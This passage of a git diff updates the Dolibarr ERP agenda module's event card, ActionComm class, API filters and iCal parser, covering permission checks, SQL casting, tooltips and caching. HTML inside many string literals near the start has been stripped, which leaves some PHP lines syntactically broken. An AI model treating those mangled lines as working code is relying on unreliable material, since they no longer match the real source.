      '; @@ -134,6 +143,7 @@ function printDropdownBookmarksList() $searchForm .= dol_escape_htmltag($obj->title); $searchForm .= ''; $i++; + $bookmarkNb++; } $searchForm .= ''; } @@ -189,25 +199,24 @@ function printDropdownBookmarksList() '; $html .= ' - - - '; + + + '; $html .= ' '."\n"; @@ -1714,9 +1718,9 @@ if ($id > 0) { print ''; print ''; if ($backtopage) { - print ''; + print ''; } - if (empty($conf->global->AGENDA_USE_EVENT_TYPE) && $object->code != "TICKET_MSG_PRIVATE") { + if (empty($conf->global->AGENDA_USE_EVENT_TYPE) && ! preg_match('/^TICKET_MSG_PRIVATE/', $object->code)) { print ''; } @@ -1742,7 +1746,11 @@ if ($id > 0) { } // Private - if ($object->elementtype == 'ticket') print ''.$langs->trans("PrivateEventMessage").'code == 'TICKET_MSG_PRIVATE') ? ' checked' : '').'>'; + if ($object->elementtype == 'ticket') { + print ''.$langs->trans("MarkMessageAsPrivate"); + print ' '.$form->textwithpicto('', $langs->trans("TicketMessagePrivateHelp"), 1, 'help'); + print 'code) ? ' checked' : '').'>'; + } // Title print 'global->AGENDA_USE_EVENT_TYPE) ? ' class="fieldrequired titlefieldcreate"' : '').'>'.$langs->trans("Title").''; @@ -1937,7 +1945,7 @@ if ($id > 0) { // related contact print ''.$langs->trans("ActionOnContact").''; print '
      '; - print img_picto('', 'contact', 'class="paddingrightonly"').$form->selectcontacts($object->socid, array_keys($object->socpeopleassigned), 'socpeopleassigned[]', 1, '', '', 1, 'quatrevingtpercent', false, 0, 0, array(), 'multiple', 'contactid'); + print img_picto('', 'contact', 'class="paddingrightonly"').$form->selectcontacts(empty($conf->global->MAIN_ACTIONCOM_CAN_ADD_ANY_CONTACT) ? $object->socid : 0, array_keys($object->socpeopleassigned), 'socpeopleassigned[]', 1, '', '', 1, 'quatrevingtpercent', false, 0, 0, array(), 'multiple', 'contactid'); print '
      '; print ''; print ''; @@ -2092,7 +2100,7 @@ if ($id > 0) { $("#select_actioncommsendmodel_mail").closest("tr").show(); } else { $("#select_actioncommsendmodel_mail").closest("tr").hide(); - }; + } }); })'; @@ -2179,7 +2187,7 @@ if ($id > 0) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -2205,18 +2213,13 @@ if ($id > 0) { print ''; // Type - if (!empty($conf->global->AGENDA_USE_EVENT_TYPE) && $object->elementtype != 'ticket') { + if (!empty($conf->global->AGENDA_USE_EVENT_TYPE)) { print ''; } - // Private - if ($object->elementtype == 'ticket') { - print ''; - } - // Full day event print ''; @@ -2338,7 +2341,8 @@ if ($id > 0) { if (isModEnabled("societe")) { // Related company - print ''; + print ''; } + //mail information + if (!empty($object->email_msgid)) { + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + if (!empty($object->email_tocc)) { + print ''; + print ''; + } + } + // Description print ''; +} + +$db->free($resql); + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +print '
      '.$langs->trans("Type").''; print $object->getTypePicto(); print $langs->trans("Action".$object->type_code); print '
      '.$langs->trans("PrivateEventMessage").''.yn(($object->code == 'TICKET_MSG_PRIVATE') ? 1 : 0, 3).'
      '.$langs->trans("EventOnFullDay").''.yn($object->fulldayevent ? 1 : 0, 3).'
      '.$langs->trans("ActionOnCompany").''.($object->thirdparty->id ? $object->thirdparty->getNomUrl(1) : (''.$langs->trans("None").'')); + print '
      '.$langs->trans("ActionOnCompany").''.(is_object($object->thirdparty) && $object->thirdparty->id ? $object->thirdparty->getNomUrl(1) : (''.$langs->trans("None").'')); if (is_object($object->thirdparty) && $object->thirdparty->id > 0 && $object->type_code == 'AC_TEL') { if ($object->thirdparty->fetch($object->thirdparty->id)) { print "
      ".dol_print_phone($object->thirdparty->phone); @@ -2395,6 +2399,20 @@ if ($id > 0) { print '
      '.$langs->trans('MailTopic').''.dol_escape_htmltag($object->email_subject).'
      '.$langs->trans('MailFrom').''.dol_escape_htmltag($object->email_from).'
      '.$langs->trans('MailTo').''.dol_escape_htmltag($object->email_to).'
      '.$langs->trans('MailCC').''.dol_escape_htmltag($object->email_tocc).'
      '.$langs->trans("Description").''; print dol_string_onlythesehtmltags(dol_htmlentitiesbr($object->note_private)); @@ -2417,7 +2435,7 @@ if ($id > 0) { $tmpuserstatic = new User($db); foreach ($object->reminders as $actioncommreminderid => $actioncommreminder) { - print $TRemindTypes[$actioncommreminder->typeremind]; + print $TRemindTypes[$actioncommreminder->typeremind]['label']; if ($actioncommreminder->fk_user > 0) { $tmpuserstatic->fetch($actioncommreminder->fk_user); print ' ('.$tmpuserstatic->getNomUrl(0, '', 0, 0, 16).')'; @@ -2458,14 +2476,14 @@ if ($id > 0) { $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (empty($reshook)) { if ($action != 'edit') { - if ($user->rights->agenda->allactions->create || + if ($user->hasRight('agenda', 'allactions', 'create') || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create)) { print ''; } else { print ''; } - if ($user->rights->agenda->allactions->create || + if ($user->hasRight('agenda', 'allactions', 'create') || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create)) { print ''; } else { @@ -2485,7 +2503,7 @@ if ($id > 0) { if ($action != 'edit') { if (empty($conf->global->AGENDA_DISABLE_BUILDDOC)) { - print '
      '; + print '
      '; print ''; // ancre /* diff --git a/htdocs/comm/action/class/actioncomm.class.php b/htdocs/comm/action/class/actioncomm.class.php index f4b7f1b2bfb..5822e6dd9d2 100644 --- a/htdocs/comm/action/class/actioncomm.class.php +++ b/htdocs/comm/action/class/actioncomm.class.php @@ -5,7 +5,7 @@ * Copyright (C) 2011-2017 Juanjo Menent * Copyright (C) 2015 Marcos García * Copyright (C) 2018 Nicolas ZABOURI - * Copyright (C) 2018-2020 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -225,22 +225,22 @@ class ActionComm extends CommonObject public $transparency; /** - * @var int (0 By default) + * @var int (0 By default) */ public $priority; /** - * @var int[] Array of user ids + * @var int[] Array of user ids */ public $userassigned = array(); /** - * @var int Id of user owner = fk_user_action into table + * @var int Id of user owner = fk_user_action into table */ public $userownerid; /** - * @var int Id of user that has done the event. Used only if AGENDA_ENABLE_DONEBY is set. + * @var int Id of user that has done the event. Used only if AGENDA_ENABLE_DONEBY is set. */ public $userdoneid; @@ -423,13 +423,13 @@ class ActionComm extends CommonObject */ public function create(User $user, $notrigger = 0) { - global $langs, $conf, $hookmanager; + global $langs, $conf; $error = 0; $now = dol_now(); // Check parameters - if (!isset($this->userownerid) || $this->userownerid === '') { // $this->userownerid may be 0 (anonymous event) of > 0 + if (!isset($this->userownerid) || (string) $this->userownerid === '') { // $this->userownerid may be 0 (anonymous event) or > 0 dol_syslog("You tried to create an event but mandatory property ownerid was not defined", LOG_WARNING); $this->errors[] = 'ErrorActionCommPropertyUserowneridNotDefined'; return -1; @@ -477,8 +477,8 @@ class ActionComm extends CommonObject $this->elementtype = 'contract'; } - if (!is_array($this->userassigned) && !empty($this->userassigned)) { // For backward compatibility when userassigned was an int instead fo array - $tmpid = $this->userassigned; + if (!is_array($this->userassigned) && !empty($this->userassigned)) { // For backward compatibility when userassigned was an int instead of an array + $tmpid = (int) $this->userassigned; $this->userassigned = array(); $this->userassigned[$tmpid] = array('id'=>$tmpid, 'transparency'=>$this->transparency); } @@ -555,7 +555,8 @@ class ActionComm extends CommonObject $sql .= "recurdateend,"; $sql .= "num_vote,"; $sql .= "event_paid,"; - $sql .= "status"; + $sql .= "status,"; + $sql .= "ip"; $sql .= ") VALUES ("; $sql .= "'(PROV)', "; $sql .= "'".$this->db->idate($now)."', "; @@ -596,7 +597,8 @@ class ActionComm extends CommonObject $sql .= (!empty($this->recurdateend) ? "'".$this->db->idate($this->recurdateend)."'" : "null").", "; $sql .= (!empty($this->num_vote) ? (int) $this->num_vote : "null").", "; $sql .= (!empty($this->event_paid) ? (int) $this->event_paid : 0).", "; - $sql .= (!empty($this->status) ? (int) $this->status : "0"); + $sql .= (!empty($this->status) ? (int) $this->status : "0").", "; + $sql .= (!empty($this->ip) ? "'".$this->db->escape($this->ip)."'" : "null"); $sql .= ")"; dol_syslog(get_class($this)."::add", LOG_DEBUG); @@ -705,10 +707,9 @@ class ActionComm extends CommonObject */ public function createFromClone(User $fuser, $socid) { - global $db, $conf, $hookmanager; + global $hookmanager; $error = 0; - $now = dol_now(); $this->db->begin(); @@ -741,6 +742,7 @@ class ActionComm extends CommonObject $action = ''; $reshook = $hookmanager->executeHooks('createFrom', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { + $this->setErrorsFromObject($hookmanager); $error++; } } @@ -1160,12 +1162,8 @@ class ActionComm extends CommonObject $userownerid = ($this->userownerid ? $this->userownerid : 0); $userdoneid = ($this->userdoneid ? $this->userdoneid : 0); - $this->db->begin(); - - $sql = "UPDATE ".MAIN_DB_PREFIX."actioncomm "; - $sql .= " SET percent = '".$this->db->escape($this->percentage)."'"; + // If a type_id is set, we must also have the type_code set if ($this->type_id > 0) { - $sql .= ", fk_action = ".(int) $this->type_id; if (empty($this->type_code)) { $cactioncomm = new CActionComm($this->db); $result = $cactioncomm->fetch($this->type_id); @@ -1174,7 +1172,18 @@ class ActionComm extends CommonObject } } } - $sql .= ", code = " . (isset($this->type_code)? "'".$this->db->escape($this->type_code) . "'":"null"); + + $code = $this->code; + if (empty($code) || (!empty($this->oldcopy) && $this->oldcopy->type_code != $this->type_code)) { // If code unknown or if we change the type, we reset $code too + $code = $this->type_code; + } + + $this->db->begin(); + + $sql = "UPDATE ".MAIN_DB_PREFIX."actioncomm"; + $sql .= " SET percent = '".$this->db->escape($this->percentage)."'"; + $sql .= ", fk_action = ".(int) $this->type_id; + $sql .= ", code = " . ($code ? "'".$this->db->escape($code)."'" : "null"); $sql .= ", label = ".($this->label ? "'".$this->db->escape($this->label)."'" : "null"); $sql .= ", datep = ".(strval($this->datep) != '' ? "'".$this->db->idate($this->datep)."'" : 'null'); $sql .= ", datep2 = ".(strval($this->datef) != '' ? "'".$this->db->idate($this->datef)."'" : 'null'); @@ -1205,7 +1214,7 @@ class ActionComm extends CommonObject if (!empty($this->status)) { $sql .= ", status=".($this->status ? (int) $this->status : 0); } - $sql .= " WHERE id=".$this->id; + $sql .= " WHERE id=".((int) $this->id); dol_syslog(get_class($this)."::update", LOG_DEBUG); if ($this->db->query($sql)) { @@ -1310,15 +1319,17 @@ class ActionComm extends CommonObject */ public function getActions($socid = 0, $fk_element = 0, $elementtype = '', $filter = '', $sortfield = 'a.datep', $sortorder = 'DESC', $limit = 0) { - global $conf, $langs; + global $conf, $langs, $hookmanager; $resarray = array(); dol_syslog(get_class()."::getActions", LOG_DEBUG); - require_once DOL_DOCUMENT_ROOT . '/core/class/hookmanager.class.php'; - $hookmanager = new HookManager($db); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context + if (!is_object($hookmanager)) { + include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; + $hookmanager = new HookManager($db); + } $hookmanager->initHooks(array('agendadao')); $sql = "SELECT a.id"; @@ -1399,7 +1410,6 @@ class ActionComm extends CommonObject if (empty($user->rights->agenda->allactions->read)) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."actioncomm_resources AS ar ON a.id = ar.fk_actioncomm AND ar.element_type ='user' AND ar.fk_element = ".((int) $user->id); } - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON a.fk_soc = s.rowid"; $sql .= " WHERE 1 = 1"; if (empty($load_state_board)) { $sql .= " AND a.percent >= 0 AND a.percent < 100"; @@ -1426,7 +1436,7 @@ class ActionComm extends CommonObject $response->label = $langs->trans("ActionsToDo"); $response->labelShort = $langs->trans("ActionsToDoShort"); $response->url = DOL_URL_ROOT.'/comm/action/list.php?mode=show_list&actioncode=0&status=todo&mainmenu=agenda'; - if ($user->rights->agenda->allactions->read) { + if ($user->hasRight("agenda", "allactions", "read")) { $response->url .= '&filtert=-1'; } $response->img = img_object('', "action", 'class="inline-block valigntextmiddle"'); @@ -1559,6 +1569,81 @@ class ActionComm extends CommonObject return dolGetStatus($labelStatus, $labelStatusShort, '', $statusType, $mode); } + /** + * getTooltipContentArray + * @param array $params params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + $langs->load('agenda'); + + $datas = array(); + $nofetch = !empty($params['nofetch']); + + // Set label of type + $labeltype = ''; + if ($this->type_code) { + $labeltype = ($langs->transnoentities("Action".$this->type_code) != "Action".$this->type_code) ? $langs->transnoentities("Action".$this->type_code) : $this->type_label; + } + if (empty($conf->global->AGENDA_USE_EVENT_TYPE)) { + if ($this->type_code != 'AC_OTH_AUTO') { + $labeltype = $langs->trans('ActionAC_MANUAL'); + } + } + + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans('Action').''; + if (!empty($this->ref)) { + $datas['ref'] = '
      '.$langs->trans('Ref').': '.dol_escape_htmltag($this->ref); + } + if (!empty($this->label)) { + $datas['title'] = '
      '.$langs->trans('Title').': '.dol_escape_htmltag($this->label); + } + if (!empty($labeltype)) { + $datas['labeltype'] = '
      '.$langs->trans('Type').': '.dol_escape_htmltag($labeltype); + } + if (!empty($this->location)) { + $datas['location'] = '
      '.$langs->trans('Location').': '.dol_escape_htmltag($this->location); + } + if (isset($this->transparency)) { + $datas['transparency'] = '
      '.$langs->trans('Busy').': '.yn($this->transparency); + } + if (!empty($this->email_msgid)) { + $langs->load("mails"); + $datas['space'] = '
      '; + // $datas['email'] = '
      '.img_picto('', 'email').' '.$langs->trans("Email").''; + $datas['mailtopic'] = '
      '.$langs->trans('MailTopic').': '.dol_escape_htmltag($this->email_subject); + $datas['mailfrom'] = '
      '.$langs->trans('MailFrom').': '.str_replace(array('<', '>'), array('&lt', '&gt'), $this->email_from); + $datas['mailto'] = '
      '.$langs->trans('MailTo').': '.str_replace(array('<', '>'), array('&lt', '&gt'), $this->email_to); + if (!empty($this->email_tocc)) { + $datas['mailcc'] = '
      '.$langs->trans('MailCC').': '.str_replace(array('<', '>'), array('&lt', '&gt'), $this->email_tocc); + } + /* Disabled because bcc must remain by defintion not visible + if (!empty($this->email_tobcc)) { + $datas['mailccc'] = '
      '.$langs->trans('MailCCC').': '.$this->email_tobcc; + } */ + } + if (!empty($this->note_private)) { + $datas['description'] = '
      '.$langs->trans('Description').':
      '; + // Try to limit length of content + $texttoshow = dolGetFirstLineOfText($this->note_private, 10); + // Restrict height of content into the tooltip + $datas['note'] = '
      '; + $datas['note'] .= (dol_textishtml($texttoshow) ? str_replace(array("\r", "\n"), "", $texttoshow) : str_replace(array("\r", "\n"), '
      ', $texttoshow)); + $datas['note'] .= '
      '; + } + // show categories for this record only in ajax to not overload lists + if (isModEnabled('categorie') && !$nofetch) { + require_once DOL_DOCUMENT_ROOT . '/categories/class/categorie.class.php'; + $form = new Form($this->db); + $datas['categories'] = '
      ' . $form->showCategories($this->id, Categorie::TYPE_ACTIONCOMM, 1); + } + + return $datas; + } + /** * Return URL of event * Use $this->id, $this->type_code, $this->label and $this->type_label @@ -1645,10 +1730,25 @@ class ActionComm extends CommonObject } if (!empty($this->note_private)) { $tooltip .= '

      '.$langs->trans('Description').':
      '; - $texttoshow = dolGetFirstLineOfText($this->note_private, 10); + $texttoshow = dolGetFirstLineOfText($this->note_private, 10); // Try to limit length of content + $tooltip .= '
      '; // Restrict height of content into the tooltip $tooltip .= (dol_textishtml($texttoshow) ? str_replace(array("\r", "\n"), "", $texttoshow) : str_replace(array("\r", "\n"), '
      ', $texttoshow)); + $tooltip .= '
      '; } $linkclose = ''; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'option' => $option, + 'nofetch' => 1, + ]; + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $tooltip = ''; + } //if (!empty($conf->global->AGENDA_USE_EVENT_TYPE) && $this->type_color) // $linkclose = ' style="background-color:#'.$this->type_color.'"'; @@ -1657,8 +1757,8 @@ class ActionComm extends CommonObject $label = $langs->trans("ShowAction"); $linkclose .= ' alt="'.dol_escape_htmltag($tooltip, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($tooltip, 1, 0, '', 1).'"'; - $linkclose .= ' class="'.$classname.' classfortooltip"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classname.' '.$classfortooltip.'"'; } else { $linkclose .= ' class="'.$classname.'"'; } @@ -1718,7 +1818,7 @@ class ActionComm extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $langs->trans("ShowAction").': '.$label), ($overwritepicto ? $overwritepicto : 'action'), (($this->type_color && $overwritepicto) ? 'style="color: #'.$this->type_color.' !important;" ' : '').($notooltip ? 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'"' : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $langs->trans("ShowAction").': '.$label), ($overwritepicto ? $overwritepicto : 'action'), (($this->type_color && $overwritepicto) ? 'style="color: #'.$this->type_color.' !important;" ' : '').($notooltip ? 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'"' : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } $result .= dol_escape_htmltag($labelshort); $result .= $linkend; @@ -1760,11 +1860,11 @@ class ActionComm extends CommonObject $imgpicto = img_picto('', 'object_phoning', $color, false, 0, 0, '', 'paddingright'); } elseif ($this->type_code == 'AC_FAX') { $imgpicto = img_picto('', 'object_phoning_fax', $color, false, 0, 0, '', 'paddingright'); - } elseif ($this->type_code == 'AC_EMAIL' || $this->type_code == 'AC_EMAIL_IN') { + } elseif ($this->type_code == 'AC_EMAIL' || $this->type_code == 'AC_EMAIL_IN' || preg_match('/_SENTBYMAIL/', $this->code)) { $imgpicto = img_picto('', 'object_email', $color, false, 0, 0, '', 'paddingright'); } elseif ($this->type_code == 'AC_INT') { $imgpicto = img_picto('', 'object_intervention', $color, false, 0, 0, '', 'paddingright'); - } elseif ($this->type_code == 'AC_OTH' && $this->code == 'TICKET_MSG') { + } elseif (preg_match('/^TICKET_MSG/', $this->code)) { $imgpicto = img_picto('', 'object_conversation', $color, false, 0, 0, '', 'paddingright'); } elseif ($this->type != 'systemauto') { $imgpicto = img_picto('', 'user-cog', $color, false, 0, 0, '', 'paddingright'); @@ -1791,8 +1891,8 @@ class ActionComm extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { @@ -1826,7 +1926,7 @@ class ActionComm extends CommonObject $c->add_type($this, Categorie::TYPE_ACTIONCOMM); } } - return; + return 1; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -2080,7 +2180,7 @@ class ActionComm extends CommonObject } if ($exportholiday == 1) { - $langs->load("holidays"); + $langs->load("holiday"); $title = $langs->trans("Holidays"); $sql = "SELECT u.rowid as uid, u.lastname, u.firstname, u.email, u.statut, x.rowid, x.date_debut as date_start, x.date_fin as date_end, x.halfday, x.statut as status"; @@ -2180,7 +2280,7 @@ class ActionComm extends CommonObject // Create temp file $outputfiletmp = tempnam($conf->agenda->dir_temp, 'tmp'); // Temporary file (allow call of function by different threads - @chmod($outputfiletmp, octdec($conf->global->MAIN_UMASK)); + dolChmod($outputfiletmp); // Write file if ($format == 'vcal') { @@ -2192,7 +2292,7 @@ class ActionComm extends CommonObject } if ($result >= 0) { - if (dol_move($outputfiletmp, $outputfile, 0, 1)) { + if (dol_move($outputfiletmp, $outputfile, 0, 1, 0, 0)) { $result = 1; } else { $this->error = 'Failed to rename '.$outputfiletmp.' into '.$outputfile; @@ -2252,18 +2352,18 @@ class ActionComm extends CommonObject /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'actioncomm' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** @@ -2452,7 +2552,7 @@ class ActionComm extends CommonObject } // Sender - $from = $conf->global->MAIN_MAIL_EMAIL_FROM; + $from = getDolGlobalString('MAIN_MAIL_EMAIL_FROM'); if (empty($from)) { $errormesg = "Failed to get sender into global setup MAIN_MAIL_EMAIL_FROM"; $error++; @@ -2460,7 +2560,7 @@ class ActionComm extends CommonObject if (!$error) { // Errors Recipient - $errors_to = $conf->global->MAIN_MAIL_ERRORS_TO; + $errors_to = getDolGlobalString('MAIN_MAIL_ERRORS_TO'); // Mail Creation $cMailFile = new CMailFile($sendTopic, $to, $from, $sendContent, array(), array(), array(), '', "", 0, 1, $errors_to, '', '', '', '', ''); diff --git a/htdocs/comm/action/class/actioncommreminder.class.php b/htdocs/comm/action/class/actioncommreminder.class.php index eb0d464777a..909a7586025 100644 --- a/htdocs/comm/action/class/actioncommreminder.class.php +++ b/htdocs/comm/action/class/actioncommreminder.class.php @@ -101,6 +101,10 @@ class ActionCommReminder extends CommonObject public $entity; public $dateremind; + + /** + * @var string reminder type email, browser, sms + */ public $typeremind; /** @@ -108,7 +112,14 @@ class ActionCommReminder extends CommonObject */ public $fk_user; + /** + * @var int offset value + */ public $offsetvalue; + + /** + * @var string y, m, d, w, h, i + */ public $offsetunit; /** @@ -130,11 +141,8 @@ class ActionCommReminder extends CommonObject * @var int Template Mail */ public $fk_email_template; - // END MODULEBUILDER PROPERTIES - - /** * Constructor * diff --git a/htdocs/comm/action/class/api_agendaevents.class.php b/htdocs/comm/action/class/api_agendaevents.class.php index 8c13709b250..0067df7e5cf 100644 --- a/htdocs/comm/action/class/api_agendaevents.class.php +++ b/htdocs/comm/action/class/api_agendaevents.class.php @@ -159,11 +159,10 @@ class AgendaEvents extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -210,7 +209,7 @@ class AgendaEvents extends DolibarrApi if (!DolibarrApiAccess::$user->rights->agenda->myactions->create) { throw new RestException(401, "Insufficient rights to create your Agenda Event"); } - if (!DolibarrApiAccess::$user->rights->agenda->allactions->create && DolibarrApiAccess::$user->id != $request_data['userownerid']) { + if (!DolibarrApiAccess::$user->hasRight('agenda', 'allactions', 'create') && DolibarrApiAccess::$user->id != $request_data['userownerid']) { throw new RestException(401, "Insufficient rights to create an Agenda Event for owner id ".$request_data['userownerid'].' Your id is '.DolibarrApiAccess::$user->id); } @@ -249,7 +248,7 @@ class AgendaEvents extends DolibarrApi if (!DolibarrApiAccess::$user->rights->agenda->myactions->create) { throw new RestException(401, "Insufficient rights to create your Agenda Event"); } - if (!DolibarrApiAccess::$user->rights->agenda->allactions->create && DolibarrApiAccess::$user->id != $request_data['userownerid']) { + if (!DolibarrApiAccess::$user->hasRight('agenda', 'allactions', 'create') && DolibarrApiAccess::$user->id != $request_data['userownerid']) { throw new RestException(401, "Insufficient rights to create an Agenda Event for owner id ".$request_data['userownerid'].' Your id is '.DolibarrApiAccess::$user->id); } diff --git a/htdocs/comm/action/class/cactioncomm.class.php b/htdocs/comm/action/class/cactioncomm.class.php index 049b70737e8..c7ab296a2a9 100644 --- a/htdocs/comm/action/class/cactioncomm.class.php +++ b/htdocs/comm/action/class/cactioncomm.class.php @@ -217,7 +217,7 @@ class CActionComm $qualified = 1; } // For case module = 'myobject@eventorganization' - $tmparray = preg_split("/@/", $obj->module, -1); + $tmparray = explode("@", $obj->module); if (count($tmparray) > 1 && $tmparray[1] == 'eventorganization' && isModEnabled('eventorganization')) { $qualified = 1; } diff --git a/htdocs/comm/action/class/ical.class.php b/htdocs/comm/action/class/ical.class.php index 7ab09e8d891..26db2cd5e6e 100644 --- a/htdocs/comm/action/class/ical.class.php +++ b/htdocs/comm/action/class/ical.class.php @@ -54,8 +54,8 @@ class ICal /** * Read text file, icalender text file * - * @param string $file File - * @return string + * @param string $file File + * @return string|null Content of remote file read or null if error */ public function read_file($file) { @@ -65,7 +65,7 @@ class ICal $tmpresult = getURLContent($file, 'GET'); if ($tmpresult['http_code'] != 200) { - $file_text = ''; + $file_text = null; $this->error = 'Error: '.$tmpresult['http_code'].' '.$tmpresult['content']; } else { $file_text = preg_replace("/[\r\n]{1,} /", "", $tmpresult['content']); @@ -102,17 +102,40 @@ class ICal /** * Translate Calendar * - * @param string $uri Url + * @param string $uri Url + * @param string $usecachefile Full path of a cache file to use a cache file + * @param string $delaycache Delay in seconds for cache (by default 3600 secondes) * @return array|string */ - public function parse($uri) + public function parse($uri, $usecachefile = '', $delaycache = 3600) { $this->cal = array(); // new empty array $this->event_count = -1; + $this->file_text = null; + + // Save file into a cache + if ($usecachefile) { + include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + $datefile = dol_filemtime($usecachefile); + $now = dol_now('gmt'); + //print $datefile.' '.$now.' ...'; + if ($datefile && $datefile > ($now - $delaycache)) { + // We reuse the cache file + $this->file_text = file_get_contents($usecachefile); + } + } // read FILE text - $this->file_text = $this->read_file($uri); + if (is_null($this->file_text)) { + $this->file_text = $this->read_file($uri); + + if ($usecachefile && !is_null($this->file_text)) { + // Save the file content into cache file + file_put_contents($usecachefile, $this->file_text, LOCK_EX); + dolChmod($usecachefile); + } + } $this->file_text = preg_split("[\n]", $this->file_text); @@ -402,7 +425,7 @@ class ICal public function get_event_list() { // phpcs:enable - return (empty($this->cal['VEVENT']) ? '' : $this->cal['VEVENT']); + return (empty($this->cal['VEVENT']) ? array() : $this->cal['VEVENT']); } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps @@ -414,7 +437,7 @@ class ICal public function get_freebusy_list() { // phpcs:enable - return (empty($this->cal['VFREEBUSY']) ? '' : $this->cal['VFREEBUSY']); + return (empty($this->cal['VFREEBUSY']) ? array() : $this->cal['VFREEBUSY']); } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps diff --git a/htdocs/comm/action/document.php b/htdocs/comm/action/document.php index 82cc7584c07..851f4419179 100644 --- a/htdocs/comm/action/document.php +++ b/htdocs/comm/action/document.php @@ -92,7 +92,7 @@ if ($user->socid && $socid) { $result = restrictedArea($user, 'societe', $socid); } -$usercancreate = $user->rights->agenda->allactions->create || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create); +$usercancreate = $user->hasRight('agenda', 'allactions', 'create') || (($object->authorid == $user->id || $object->userownerid == $user->id) && $user->rights->agenda->myactions->create); $permissiontoadd = $usercancreate; @@ -109,7 +109,7 @@ include DOL_DOCUMENT_ROOT.'/core/actions_linkedfiles.inc.php'; $form = new Form($db); -$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:M&omodulodulo_Agenda'; +$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:M&omodulodulo_Agenda|DE:Modul_Terminplanung'; llxHeader('', $langs->trans("Agenda"), $help_url); @@ -181,7 +181,7 @@ if ($object->id > 0) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -305,7 +305,7 